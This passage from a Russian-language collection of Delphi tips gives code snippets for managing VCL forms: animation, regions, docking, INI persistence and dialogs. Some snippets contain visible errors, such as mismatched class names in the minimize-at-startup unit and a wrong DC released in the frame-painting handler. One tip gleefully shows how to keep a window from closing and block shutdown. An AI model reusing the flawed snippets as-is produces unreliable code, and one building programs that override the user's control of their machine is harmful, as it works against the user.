    if not IsMDIChildOpen(Form1, 'MyMDIChild') then
     MyMDIChild := TMyMDIChild.Create(Self);

   MyMDIChild.Show;
   MyMDIChild.BringToFront;
 end;
К заголовку




" Если форма не существует - создать
IF frmNewForm = NIL THEN
  frmNewForm := TNewForm.Create( owner );
frmNewForm.Show;
К заголовку




" Заблокировать перемещение формы
{....}

   private
     procedure WMNCHitTest(var Message: TWMNCHitTest); message WM_NCHITTEST;

      {....}

 procedure TForm1.WMNCHitTest(var Message: TWMNCHitTest);
 begin
   inherited;

   with Message do
   begin
     if Result = HTCAPTION then
       Result := HTNOWHERE;
   end;
 end;
К заголовку




" Закрыть форму с анимацией
var
   tutup: Boolean;
   i: Integer;

 procedure TForm1.Timer1Timer(Sender: TObject);
 var
   reg1, reg2: hrgn;
 begin
   if tutup = True then
   begin
     i := i + 10;
     reg1 := CreateRoundRectRgn(0 + i, 0 + i, Width - i, Height - i, 20, 20);
     SetWindowRgn(Handle, reg1, True);
   end;

   if i >= Width then
   begin
     tutup := False;
     i := 1;
   end;

   if tutup = False then
   begin
     i := i + 10;
     reg1 := CreateRectRgn(0, 0, (Width div 2) - i, Height);
     reg2 := CreateRectRgn((Width div 2) + i, 0, Width, Height);
     CombineRgn(reg1, reg1, reg2, rgn_or);
     SetWindowRgn(Handle, reg1, True);
     if i >= Width div 2 then
     begin
       tutup := True;
       i := 1;
     end;
   end;
 end;

 procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
 var
   reg1: hrgn;
 begin
   i := 1;
   timer1.Enabled := True;
   if MessageDlg('Exit now ?',
     mtConfirmation, [mbYes, mbNo], 0) = mrYes then
     CanClose := True
   else
   begin
     CanClose := False;
     timer1.Enabled := False;
     reg1 := CreateRoundRectRgn(0, 0, Width, Height, 0, 0);
     SetWindowRgn(Handle, reg1, True);
   end;
 end;

 procedure TForm1.FormCreate(Sender: TObject);
 begin
   tutup := True;
   timer1.Enabled := False;
 end;
К заголовку




" Замена Form на FormIni
unit Formini;

{$IFDEF Production}
{$S-,R-,D-,L-,W-}
{$ENDIF}

{
TFormINI новая замена TForm, умеющая автоматически сохранять и восстанавливать
значения свойств Top, Left, Height, Width и WindowState
из программного INI-файла без какого-то либо программирования.

Код берет имя выполняемого файла из Application.EXEName и меняет
расширение на .INI.

В качестве имени секции при хранении величин в INI-файле,
TFormINI использует заголовок формы.

Просто замените все существующие объявления класса TForm на TFormINI,
и TFormINI позаботится обо всем остальном (в пределах функциональности).

Теперь ваши формы будут такие же, как и при их закрытии.

TMyForm = class(TForm) -> TMyForm = class(TFormINI)
}

interface

uses InIFiles, Forms, Controls, SysUtils, WinTypes, Classes;

type
  TFormINI = class(TForm)
  private
    PrgINI: TIniFile;
    FSection: string;
  protected
    procedure WriteInteger(Section, Ident: string; value: longint);
    function ReadInteger(Section, Ident: string; Default: longint): longint;
  public
    constructor Create(AOwner: TComponent); override;
    procedure CreateParams(var Params: TCreateParams); override;

    procedure DoShow; override;
    destructor Destroy; override;
  end;

implementation

constructor TFormINI.Create(AOwner: TComponent);
var
  INIFile: string;
begin
  INIFile := ExtractFileName(Application.EXEName);
  INIFile := ChangeFileExt(INIFile, '.INI');
  PrgINI := TIniFile.Create(INIFile);
  inherited Create(AOwner);
end;

procedure TFormINI.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  with Params do
  begin
    FSection := StrPas(Caption);
    Y := ReadInteger('', 'Top', 0);
    X := ReadInteger('', 'Left', 0);
    Width := ReadInteger('', 'Width', Width);
    Height := ReadInteger('', 'Height', Height);
  end;
end;

procedure TFormINI.DoShow;
var
  aWindowState: integer;
begin
  aWindowState := ReadInteger('', 'WindowState', 0);
  case aWindowState of
    0: WindowState := wsNormal;
    1: WindowState := wsMinimized;
    2: WindowState := wsMaximized;
  end;
  inherited DoShow;
end;

procedure TFormINI.WriteInteger(Section, Ident: string; value: longint);
begin
  if Section = '' then
    PrgINI.WriteInteger(FSection, Ident, value)
  else
  begin
    PrgINI.WriteInteger(Section, Ident, value);
    FSection := Section;
  end;
end;

destructor TFormINI.Destroy;
begin
  if WindowState = wsNormal then
  begin
    WriteInteger('', 'Top', Top);
    WriteInteger('', 'Left', Left);
  end;
  WriteInteger('', 'Width', Width);
  WriteInteger('', 'Height', Height);
  case WindowState of
    wsNormal: WriteInteger('', 'WindowState', 0);
    wsMinimized: WriteInteger('', 'WindowState', 1);
    wsMaximized: WriteInteger('', 'WindowState', 2);
  end;
  PrgINI.Free;
  inherited Destroy;
end;

function TFormINI.ReadInteger(Section, Ident: string; Default: longint):
  longint;
begin
  if Section = '' then
    Result := PrgINI.ReadInteger(FSection, Ident, Default)
  else
  begin
    Result := PrgINI.ReadInteger(Section, Ident, Default);
    FSection := Section;
  end;
end;

end.
К заголовку




" Заполнение фона формы рисунком 2
type
   TForm1 = class(TForm)
     Button1: TButton;
     OpenDialog1: TOpenDialog;
     procedure Button1Click(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
   private
     FWallpaper: TBitmap;
     procedure WMEraseBkGnd(var Msg: TWMEraseBkGnd); message WM_ERASEBKGND;
   end;

 var
   Form1: TForm1;

 implementation

 {$R *.DFM}
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   FWallpaper.Free;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   // Load the bitmap
  // Bild laden
  if OpenDialog1.Execute then
   begin
     if not Assigned(FWallpaper) then
       FWallpaper := TBitmap.Create;
     FWallpaper.LoadFromFile(OpenDialog1.FileName);
     Invalidate;
   end;
 end;

 procedure TForm1.WMEraseBkGnd(var Msg: TWMEraseBkGnd);
 var
   row, col: Integer;
 begin
   if not Assigned(FWallpaper) then
     inherited
   else
   begin
     // Draw the bitmap
    // Das Bild zeichnen
    for Row := 0 to ClientHeight div FWallpaper.Height do
       for Col := 0 to ClientWidth div FWallpaper.Width do
         BitBlt(Msg.Dc,
           Col * FWallpaper.Width,
           Row * FWallpaper.Height,
           FWallpaper.Width,
           FWallpaper.Height,
           FWallpaper.Canvas.Handle,
           0,
           0,
           SRCCOPY);
     Msg.Result := 1;
   end; { else }
 end;

 end.
К заголовку




" Из региона формы вычитается регион надписи
{

 When youu need a form like a tree or something else what do you do? Windows
 provides the CreateRoundRectRegion() function that just cuts the edges of your
 form. If you want to do something else, you need to completely draw your
 region in a HDC (TCanvas) while Windows looks on your hand to learn it.
 After this, you can set the new region to your form using the 'SetWindowRgn()' function.

 And how to do this? Here you will find a simple example that just gives some text
 and sets the region like it. Expand it by your mind!

}

 var
   Form1: TForm1;
   HRgn: THandle;

 implementation

 {$R *.DFM}

 procedure TForm1.Button1Click(Sender: TObject);
 var
   s: string;
 begin
   DeleteObject(HRgn);
   s := InputBox('Region Text', 'Please enter some text to set to the region', 'CoolRgn');

   BeginPath(Canvas.Handle);
   with Canvas do
   begin
     Font.Name  := 'Comic Sans MS';
      Font.Size  := 64;
      Font.Style := [fsBold];
     TextOut(0, 0, s);
   end;

   EndPath(Canvas.Handle);
   HRgn := PathToRegion(Canvas.Handle);
   SetWindowRgn(Handle, HRgn, True);

   button1.Visible := False;
   Color           := clRed;
 end;

 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
 begin
   DeleteObject(HRgn);
 end;

 procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
   Shift: TShiftState; X, Y: Integer);
 begin
   if Button = mbLeft then
   begin
     ReleaseCapture;
     SendMessage(Handle, WM_NCLBUTTONDOWN, HTCAPTION, 0);
   end;
 end;
К заголовку




" Изменить оконную процедуру для TForm
Переопределите в подклассе TForm оконную процедуру WinProc класса. В примере оконная процедура переопределяется для
того чтобы реагировать на сообщение WM_CANCELMODE, показывающее, что выполняется messagebox или какой-либо еще диалог.

type
  TForm1 = class(TForm)
  Button1: TButton;
  procedure WndProc (var message: TMessage); override;
  procedure Button1Click(Sender: TObject);
  private
    {Private declarations}
  public
    {Public declarations}
end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WndProc (var message: TMessage);
begin
  if message.Msg = WM_CANCELMODE then
    Form1.Caption := 'A dialog or message box has popped up'
  else
    inherited // Oстальное сделает родительская процедура
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage('Test Message');
end;

К заголовку




" Изменить параметры создания формы - добавить прозрачность
unit TranspaF;

interface

uses
  SysUtils, Windows, Messages, Classes, Graphics, Controls, Forms, Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    procedure CreateParams (var Params: TCreateParams); override;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.CreateParams (var Params: TCreateParams);
begin
  inherited CreateParams (Params);
  Params.ExStyle := Params.ExStyle or
    WS_EX_TRANSPARENT;
end;

end.
К заголовку




" Как найти окно по неполному названию
function TForm1.Find(s: string): hWnd;
var
  Wnd: hWnd;
  buff: array[0..127] of Char;
begin
  Find := 0;
  Wnd := GetWindow(Handle, gw_HWndFirst);
  while Wnd <> 0 do
  begin
    if (Wnd <> Application.Handle) and
      IsWindowVisible(Wnd) and
      (GetWindow(Wnd, gw_Owner) = 0) and
      (GetWindowText(Wnd, buff, sizeof(buff)) <> 0) then
    begin
      GetWindowText(Wnd, buff, sizeof(buff));
      if pos(s, StrPas(buff)) > 0 then
      begin
        Find := Wnd;
        Break;
      end;
    end;
    Wnd := GetWindow(Wnd, gw_hWndNext);
  end;
end;
К заголовку




" Как получить дескриптор текущего окна
HWND GetForegroundWindow(VOID);
К заголовку




" Как сделать так, чтобы окно было во весь экран
PostMessage(Application.Handle, WM_SYSCOMMAND, SC_MAXIMIZE, 1);
К заголовку




" Как создать новую форму, которая бы не отбирала фокус у существующей
uses Unit2;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form2 := TForm2.Create(Application);
  Form2.Visible := FALSE;
  ShowWindow(Form2.Handle, SW_SHOWNA);
end;
К заголовку




" Как сохранить всю форму в файл (как Delphi в .dfm)
constructor TForm1.Create(AOwner: TComponent); // override;
var
  fname: string;
begin
  { Для динамически создаваемых контролов, может требоваться
  RegisterClasses(..); }
  fname := FormFilename;
  if FileExists( fname ) then
  begin
    CreateNew(AOwner);
    ReadComponentResFile(fname, Self);
  end
  else
    inherited Create( AOwner );
end;

procedure TForm1.FormCloseQuery( Sender: TObject;
  var CanClose: Boolean);
begin
  WriteComponentResFile(FormFileName, Self);
end;
К заголовку




" Клонирование формы
procedure TForm1.Button1Click(Sender: TObject);
 var
   ms: TMemoryStream;
   newform: TForm1;
 begin
   ms := TMemoryStream.Create;
   try
     ms.WriteComponent(Form1);
     newform := TForm1.CreateNew(Application);
     ms.Position := 0;
     ms.ReadComponent(newform);
     { show the new form. Note that it will appear exactly on top of the
     original! You may want to change its Left and Top property to move it
     a bit.

     Zeigt die neue Form. Die neue Form erscheint genau oberhalb der
     original form. Die Left, Top Properties mussen evtl. noch angepasst werden
    }
     newform.Show;
   finally
     ms.Free
   end;
 end;
К заголовку




" Косвенный вызов формы
Передаем имя класса формы переменной с именем FormClassName:

MyForm := TFormClass(FindClass(FormClassName)).Create(Application);


В случае, когда имя класса не найдено, возникает исключительная ситуация. Возможно, перед данным вызовом необходимо
вызвать RegisterClasses, делающий класс формы членом набора параметров.
К заголовку




" Липкие окошки
В статье рассматривается приём создания обработчиков сообщений, которые позволяют форме при перетаскивании
"прилипать" к краям экранной области.

Конечно же в Win API такой возможности не предусмотрено, поэтому мы воспользуемся сообщениями Windows.
Как нам извесно, Delphi обрабатывает сообщения через события, генерируя его в тот момент, когда Windows
посылает сообщений приложению. Однако некоторые сообщения не доходят до нас. Например, при изменении размеров
формы, генерируется событие OnResize, соотвествующее сообщению WM_SIZE, но при перетаскивании формы никакой
реакции не происходит. Конечно же форма может получить это сообщение, но изначально никаких действий для данного
сообщения не предусмотрено.

Итак, при перемещении, окну посылается сообщение WM_MOVING. Обрабатывая данной сообщение, приложение может
отслеживать размер и расположение перетаскиваемого квадрата и, при необходимости, изменять их.

Так же существует сообщение WM_WINDOWPOSCHANGING, которое посылается окну, в случае, если его размер,
расположение или место в Z порядке собираются измениться, как результат вызова функции SetWindowPos либо
другой функции управления окном.

Чаще всего с сообщением передаются дополнительные параметры, которые сообщают нам необходимую информацию.
Например, сообщение WM_MOVE, указывающее на то, что форма изменила своё местоположение, так же передаёт в
параметре LPARAM новые координаты X и Y.

Сообщение WM_WINDOWPOSCHANGING передаёт нам ТОЛЬКО один параметр - указатель на структуру WindowPos, которая
содержит информацию о новом размере и местоположении окна. Вот как выглядит структура WindowPos:

TWindowPos = packed record
  hwnd: HWND; {Identifies the window.}
  hwndInsertAfter: HWND; {Window above this one}
  x: Integer; {Left edge of the window}
  y: Integer; {Right edge of the window}
  cx: Integer; {Window width}
  cy: Integer; {Window height}
  flags: UINT; {Window-positioning options.}
end;


Наша задача проста: нам необходима, чтобы форма прилипла к краю экрана, если она находится на определённом
расстоянии от окна (допустим 20 пикселей).

Пример

К новой форме добавьте Label, один контрол Edit и четыре Check boxes. Измените имя контрола Edit на edStickAt.
Измените имена чекбоксов на chkLeft, chkTop, и т.д... Для установки количества пикселей используем edStickAt,
который будет использоваться для определения необходимого расстояния до края экрана достаточного для приклеивания
формы.

Нас интересует только одно сообщение WM_WINDOWPOSCHANGING. Обработчик для данного сообщения будет объявлен в
секции private. Ниже приведён полный код этого процедуры "прилипания" вместе с комментариями. Обратите внимание,
что Вы можете предотвратить "прилипание" формы к определённому краю, путё снятия нужной галочки.

Для получения рабочей области декстопа (минус панель задач, панель Microsoft и т.д.), используем SystemParametersInfo,
первый параметр которой SPI_GETWORKAREA.

...
private
  procedure WMWINDOWPOSCHANGING(var Msg: TWMWINDOWPOSCHANGING);
  message WM_WINDOWPOSCHANGING;
...

procedure TfrMain.WMWINDOWPOSCHANGING(var Msg: TWMWINDOWPOSCHANGING);
const
  Docked: Boolean = FALSE;
var
  rWorkArea: TRect;
  StickAt : Word;
begin
  StickAt := StrToInt(edStickAt.Text);

  SystemParametersInfo(SPI_GETWORKAREA, 0, @rWorkArea, 0);

  with Msg.WindowPos^ do
  begin
    if chkLeft.Checked then
      if x <= rWorkArea.Left + StickAt then
      begin
        x := rWorkArea.Left;
        Docked := TRUE;
      end;

    if chkRight.Checked then
      if x + cx >= rWorkArea.Right - StickAt then
      begin
        x := rWorkArea.Right - cx;
        Docked := TRUE;
      end;

    if chkTop.Checked then
      if y <= rWorkArea.Top + StickAt then
      begin
        y := rWorkArea.Top;
        Docked := TRUE;
      end;

    if chkBottom.Checked then
      if y + cy >= rWorkArea.Bottom - StickAt then
      begin
        y := rWorkArea.Bottom - cy;
        Docked := TRUE;
      end;

    if Docked then
    begin
      with rWorkArea do
      begin
        // не должна вылезать за пределы экрана
        if x < Left then
          x := Left;
        if x + cx > Right then
          x := Right - cx;
        if y < Top then
          y := Top;
        if y + cy > Bottom then
          y := Bottom - cy;
      end; {ширина rWorkArea}
    end;
  end; {с Msg.WindowPos^}

  inherited;
end;

end.


Теперь достаточно запустить проект и перетащить форму к любому краю экрана.

Вот собственно и всё.

Комментарии:

Автор: Nashev

а так короче... И, ИМХО, лучше:

procedure TCustomGlueForm.WMWindowPosChanging1(var Msg: TWMWindowPosChanging);
var
  WorkArea: TRect;
  StickAt : Word;
begin
  StickAt := 10;
  SystemParametersInfo(SPI_GETWORKAREA, 0, @WorkArea, 0);
  with WorkArea, Msg.WindowPos^ do
  begin
    // Сдвигаем границы для сравнения с левой и верхней сторонами
    Right:=Right-cx;
    Bottom:=Bottom-cy;
    if abs(Left - x) <= StickAt then
      x := Left;
    if abs(Right - x) <= StickAt then
      x := Right;
    if abs(Top - y) <= StickAt then
      y := Top;
    if abs(Bottom - y) <= StickAt then
      y := Bottom;
  end;
  inherited;
end;


В проекте осталось 2 глюка:

   1. Если у формы, к которой прицепили другую форму за правую/нижнюю границы попробовать переместить эти границы,
прицепленная форма останется на месте но все равно будет прикрепленной.
   2. Иногда 3 формы прикрепляются друг к другу, и иначе, как воспользовавшись 1-ым глюком, их не расцепить.

Для использования сделанного в своих проектах надо добавить в проект, и свои формы создавать, наследуя от него,
например, через мастер "File/New..."

В принципе, если липкость нужна без прилипания (а это уже работает без глюков) можно выкинуть все методы, кроме

procedure WMWindowPosChanging(var Msg: TWMWindowPosChanging);
message WM_WINDOWPOSCHANGING;


и все переменные, а в самом WMWindowPosChanging удалить все упоминания этих переменных.
К заголовку




" Менять главную форму во время выполнения
procedure SetAsMainForm(aForm:TForm);
 var
   P:Pointer;
 begin
   P := @Application.Mainform;
   Pointer(P^) := aForm;
 end;

 {************************************}

 // Example of Usage:

{
Question:

  If my application is main.exe and the main form is form1, form1 displays
  when it runs. I would like to display other forms based on the parameter
  passed.
  main.exe param1 will display form2 as the first form
  main.exe param2 with display form3 as the first form

Answer:
}

 program Project1;

 uses
   Forms,
   Unit1 in 'Unit1.pas' {Form1},
   Unit2 in 'Unit2.pas' {Form2},
   Unit3 in 'Unit3.pas' {Form3};

 {$R *.res}

 procedure SetAsMainForm(aForm:TForm);
 var
   P:Pointer;
 begin
   P := @Application.Mainform;
   Pointer(P^) := aForm;
 end;

 begin
   Application.Initialize;
   Application.CreateForm(TForm1, Form1);
   Application.CreateForm(TForm2, Form2);
   Application.CreateForm(TForm3, Form3);

   if Paramstr(1) = 'Param1' then
     SetAsMainForm(Form2);

   if Paramstr(1) = 'Param2' then
     SetAsMainForm(Form3);

   Application.Run;
 end.
К заголовку




" Минимизирование формы при запуске
Мне необходимо при запуске приложения спрятать главную форму, но, к сожалению, это не работает. После того, как я
установил в главной форме свойство WindowState в wsMinimized и запустил ее, форма свернулась на рабочем столе Win95
вместо положенной панели задач.

Кто-нибудь знает как решить эту проблему?

Была одна статья по этому поводу в Delphi Magazine, Issue 19, март 1997, которая объясняла эту проблему.

Вот мой переработанный вариант обхода ошибки:

unit Foobar;

interface

type

  TfrmFoobar = class(TForm);
procedure DoRestore(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
  { Private declarations }
public
  { Public declarations }
end;

implementation

procedure TfrmUVChannel.FormCreate(Sender: TObject);
begin

  //Устанавливаем временный обработчик события восстановления формы приложения
  Application.OnRestore := DoRestore;
  Application.Minimize;
end;

procedure TfrmFoobar.DoRestore(Sender: TObject);
begin

  Application.ShowMainForm := True;
  //Восстанавливаем приложение
  Perform(wm_SysCommand, sc_Restore, 0);
  //Гарантируем правильную перерисовку всех компонентов
  Show;
  //Убираем временного обработчика события чтобы не вызывался в будущем
  Application.OnRestore := nil;
end;

initialization

  //Здесь прячем минимизированную главную форму
  Application.ShowMainForm := False;

end.

К заголовку




" Можно ли заблокировать обновление определенного окна
LockWindowUpdate(Memo1.Handle);
.
.
LockWindowUpdate(0);


К заголовку




" Можно ли рисовать на рамке формы
Обрабатывайте событие WM_NCPAINT. В примере рамка обводится красной линией толщиной в 1 пиксель.

В частных объявлениях объявляем процедуру обработки сообщение WMNCPaint:

private
  { Private declarations }
  procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPAINT;


В области реализации [после слова implemantation] пишем:

procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
  dc: hDc;
  Pen: hPen;
  OldPen: hPen;
  OldBrush: hBrush;
begin
  inherited;
  dc := GetWindowDC(Handle);
  msg.Result := 1;
  Pen := CreatePen(PS_SOLID, 1, RGB(255, 0, 0));
  OldPen := SelectObject(dc, Pen);
  OldBrush := SelectObject(dc, GetStockObject(NULL_BRUSH));
  Rectangle(dc, 0,0, Form1.Width, Form1.Height);
  SelectObject(dc, OldBrush);
  SelectObject(dc, OldPen);
  DeleteObject(Pen);
  ReleaseDC(Handle, Canvas.Handle);
end;


К заголовку




" Можно ли создать форму, которая получает дополнительные параметры в методе Сreate
Просто замените конструктор Create класса Вашей формы.

unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TForm2 = class(TForm)
  private
    {Private declarations}
  public
    {Public declarations}
    constructor CreateWithCaption(aOwner: TComponent; aCaption: string);
end;

var
  Form2: TForm2;

implementation

{$R *.DFM}

constructor TForm2.CreateWithCaption(aOwner: TComponent; aCaption: string);
begin
  Create(aOwner);
  Caption := aCaption;
end;

uses
 Unit2;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Unit2.Form2 :=Unit2.TForm2.CreateWithCaption(Application, 'My Caption');
  Unit2.Form2.Show;
end;

К заголовку




" Найти количество дескрипторов форм, используемых вашим приложением
function EnumProc(wnd: HWND; var count: DWORD): Bool; stdcall;
 begin
   Inc(count);
   result := True;
   EnumChildWindows(wnd, @EnumProc, integer(@count));
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 var
   count: DWORD;
 begin
   count := 0;
   EnumThreadWindows(GetCurrentThreadID, @EnumProc, Integer(@count));
   Caption := Format('%d window handles in use', [count]);
 end;
К заголовку




" Наполовину активное окно
Как сделать так, чтобы окно было неактивно? Вы скажите: "Ничего сложного. Нужно только свойство окна Enabled установить
в false"... но, так как окно является владельцем компонентов, находящихся на нём, то и все компоненты станут неактивными!
Но был найден способ избежать этого!

private
  { Private declarations }
  procedure WMNCHitTest (var M: TWMNCHitTest); message wm_NCHitTest;

implementation
{$R *.DFM}

procedure TForm1.WMNCHitTest (var M:TWMNCHitTest);
begin
  if M.Result = htClient then
    M.Result := htCaption;
end;

К заголовку




" Наставляем мышь на окно, и оно выносится на передний план
procedure TForm1.Timer1Timer(Sender: TObject);
var
  p: TPoint;
begin
  GetCursorPos(p);
  SetForegroundWindow(WindowFromPoint(p));
end;

К заголовку




" Не закрывающееся окно
Например вы отключили Ctrl+Alt+Delete, сделали неактивной кнопку закрытия окна, удалили саму команду "Закрыть" в
системном меню ("модификация системного меню") - всё это мы уже знаем как делать, но... глупый ламерюга может
попросту нажать Alt+F4... вот это у нас ещё не учтено! Так как же запретить закрытие окна?

Делать это будем так: вызываем событие OnCloseQuery для формы и пишем туда два слова!!!

CanClose:=false;


Посмотрите внимательнее на параметры, переданные в вызванном нами событии. Там вы и увидите то самое "CanClose",
которое мы использовали. Всё довольно таки легко: если этот параметр установить в false пользователь не сможет
закрыть окно, в противном случае - сможет. Ну вот теперь мы добились того, что "ждал от нас юзверь"... так не
будем и впредь разочаровывать его!

Кстати, чуть не забыл... даже компьютер нельзя будет выключить, пока не закончит сеанс наша прога!!! Круто!
К заголовку




" Не работает fsStayOnTop
Почему, если присвоить свойству FormStyle значение fsStayOnTop, форма так и не остается на самом верху?

Просто добавьте application.RestoreTopMosts в обработчик события формы OnPaint. Это ошибка.

Могли бы вы рассказать об этом чуть-чуть поподробнее? Delphi где-то в неправильном месте осуществляет вызов
NormalizeTopMosts?

Borland говорит что это Windows, но это случается когда StayonTop-форма НЕ является главной формой. (Некоторые
английские программисты чтобы получить эту отговорку потратили несколько сотен долларов, звоня в американскую
службу помощи по телефону 1-800).
К заголовку




" Ограничение на изменение размера формы по размеру панели на ней
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}

unit BlueBackFrm;

interface

uses
  SysUtils, Windows, Messages, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Buttons, ExtCtrls;

type
  TBlueBackForm = class(TForm)
    pnlMain: TPanel;
    bbtnOK: TBitBtn;
    bbtnCancel: TBitBtn;
    procedure FormResize(Sender: TObject);
  private
    procedure CenterPanel;
    { Create a message handler for the WM_WINDOWPOSCHANGING message }
    procedure WMWindowPosChanging(var Msg: TWMWindowPosChanging);
      message WM_WINDOWPOSCHANGING;
  end;

var
  BlueBackForm: TBlueBackForm;

implementation
uses Math;
{$R *.DFM}

procedure TBlueBackForm.CenterPanel;
{ This procedure centers the main panel horizontally and
  vertically inside the form's client area
}
begin
  { Center horizontally }
  if pnlMain.Width < ClientWidth then
    pnlMain.Left := (ClientWidth - pnlMain.Width) div 2
  else
    pnlMain.Left := 0;

  { Center vertically }
  if pnlMain.Height < ClientHeight then
    pnlMain.Top := (ClientHeight - pnlMain.Height) div 2
  else
    pnlMain.Top := 0;
end;

procedure TBlueBackForm.WMWindowPosChanging(var Msg: TWMWindowPosChanging);
var
  CaptionHeight: integer;
begin
  { Calculate the caption height }
  CaptionHeight := GetSystemMetrics(SM_CYCAPTION);
  { This procedure does not take into account the width and
    height of the form's frame. You can use
    GetSystemMetrics() to obtain these values. }

  // Prevent window from shrinking smaller then MainPanel's width
  Msg.WindowPos^.cx := Max(Msg.WindowPos^.cx, pnlMain.Width + 20);

  // Prevent window from shrinking smaller then MainPanel's width
  Msg.WindowPos^.cy := Max(Msg.WindowPos^.cy, pnlMain.Height + 20 +
    CaptionHeight);

  inherited;
end;

procedure TBlueBackForm.FormResize(Sender: TObject);
begin
  CenterPanel; // Center MainPanel when the form is resized.
end;

end.
К заголовку




" Освобождение экземпляров формы
В нашем примере для решения задачи мы передаем конструктору переменную формы. Затем, при закрытии формы, мы
сбрасываем эту переменную.

Естественно, эта технология подразумевает написание некоторого кода, поэтому, если вы не расположены к этому
действию, пропустите мое дальнейшее повествование.

TMyForm = class(TForm)
...

private
  FormVar: ^TMyForm;
public
  constructor Create(AOwner: TComponent; var AFormVar: TMyForm);
  destructor Destroy; override;
end;

constructor TMyForm.Create(AOwner: TComponent; var AFormVar: TMyForm);
begin
  FormVar := @AFormVar;
  inherited Create;
  .....
end;

destructor TMyForm.Destroy;
begin
  FormVar^ := nil;
  inherited Destroy;
end;

MyForm := TMyForm.Create(Self, MyForm);
MyOtherForm := TMyForm.Create(Self, MyOtherForm);


Этот код при разрушении окна автоматически сбрасывает все, что вы передаете в AFormVar, в nil.

Как вы, наверное, заметили, частный член FormVar реально является указателем на указатель. Так, читая содержимое
памяти, адрес которой содержится в FormVar, мы реально получаем переменную формы. Таким образом мы можем просто
установить ее в nil.
К заголовку




" Открытие формы с анимацией
procedure TForm1.Button1Click(Sender: TObject);

   procedure Delay(msec: Longint);
   var
     start, stop: Longint;
   begin
     start := GetTickCount;
     repeat
       stop := GetTickCount;
       Application.ProcessMessages;
     until (stop - start) >= msec;
   end;
   var
    maxx, maxy: Integer;
 begin
   maxx         := form2.Width;
   maxy         := form2.Height;
   form2.Width  := 112;
   form2.Height := 27;
   form2.Left   := (Screen.Width - form2.Width) div 2;
   form2.Top    := (Screen.Height - form2.Height) div 2;
   form2.Show;

   repeat
     if form2.Height + (maxy div 5) >= maxy then
       form2.Height := maxy
     else
       form2.Height := form2.Height + (maxy div 5);

     if form2.Width + (maxx div 5) >= maxx then
       form2.Width := maxx
     else
       form2.Width := form2.Width + (maxx div 5);

     form2.Left := (Screen.Width - form2.Width) div 2;
     form2.Top  := (Screen.Height - form2.Height) div 2;
     delay(30);

        until (form2.Width = maxx) and (form2.Height = maxy);
 end;
К заголовку




" Передача переменных форме
...поможете мне создать функцию, с помощью которой я передам переменные в TFormClass? Проблема в том, что
MyDlg.Execute() не захотела компилироваться, поскольку, как сообщил мне компилятор, я не могу использовать MyDlg
(определенный как: TForm).

Эта функция может выглядеть примерно так:

function ExecuteDialog( FormClass: TFormClass; var Data ): Boolean;


Я могу вам дать еще один совет: сделать все ваши формы наследниками одного класса, в котором объявлены виртуальные
методы SetData и GetData.

{ ----------------------- }
unit ExecFrms;
interface
uses Forms, Controls;
type
  TExecForm = class(TForm)
  public
    procedure GetData(var Data); virtual; abstract;
    procedure SetData(var Data); virtual; abstract;
  end;
  TExecFormClass = class of TExecForm;

function ExecuteDialog(FormClass: TExecFormClass;
  var Data): Boolean;

implementation

function ExecuteDialog(FormClass: TExecFormClass;
  var Data): Boolean;
begin
  with FormClass.Create(Application) do
  try
    SetData(Data);
    Result := ShowModal = mrOK;
    if Result then
      GetData(Data);
  finally
    Release;
  end;
end;

end.
{ ----------------------- }


Как вы можете видеть, я поместил функцию ExecuteDialog в тот же самый модуль.

После того как Delphi создаст форму, вы должны в модуле формы сделать четыре вещи:

   1. вручную измените предка формы, с TForm на TExecForm;
   2. добавьте ExecFrms в список используемых модулей;
   3. добавьте тип записи для хранения данных, необходимых диалогу; и
   4. перекрыть методы SetData и GetData.


{ ----------------------- }
unit MyDlgs;
interface
uses WinTypes, WinProcs, Classes, Graphics, Forms,
  Controls, Buttons, StdCtrls, Spin, ExtCtrls,
  ExecFrms;

type
  { Запись для данных, необходимых модальной форме... }
  TMyDlgData = record
    FormCaption: string;
    FormWidth: Integer;
  end;

  TMyDlg = class(TExecForm)
    OKBtn: TBitBtn;
    CancelBtn: TBitBtn;
    HelpBtn: TBitBtn;
    Bevel1: TBevel;
    Edit1: TEdit;
    SpinEdit1: TSpinEdit;
  public
    procedure SetData(var Data); override;
    procedure GetData(var Data); override;
  end;

var
  MyDlg: TMyDlg;

implementation

{$R *.DFM}

procedure TMyDlg.SetData(var Data);
begin
  with TMyDlgData(Data) do
  begin
    Edit1.Text := FormCaption;
    SpinEdit1.Value := FormWidth;
  end;
end;

procedure TMyDlg.GetData(var Data);
begin
  with TMyDlgData(Data) do
  begin
    FormCaption := Edit1.Text;
    FormWidth := SpinEdit1.Value;
  end;
end;

end.
{ ----------------------- }


Затем создаем и выполняем диалог, который должен выглядеть приблизительно так:

{ Добавьте ExecFrms и MyDlgs в список USES вызывающего модуля. }

procedure TForm1.GetNewCaptionAndWidthBtnClick(Sender: TObject);
var
  Data: TMyDlgData;
begin
  Data.FormCaption := Caption;
  Data.FormWidth := Width;
  if ExecuteDialog(TMyDlg, Data) then
  begin
    Caption := Data.FormCaption;
    Width := Data.FormWidth;
  end;
end;


Не поверите: данный код работает еще со времён Turbo Vision!
К заголовку




" Переопределение оконной процедуры и метода для другой формы
unit SubSecon;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TForm2 = class(TForm)
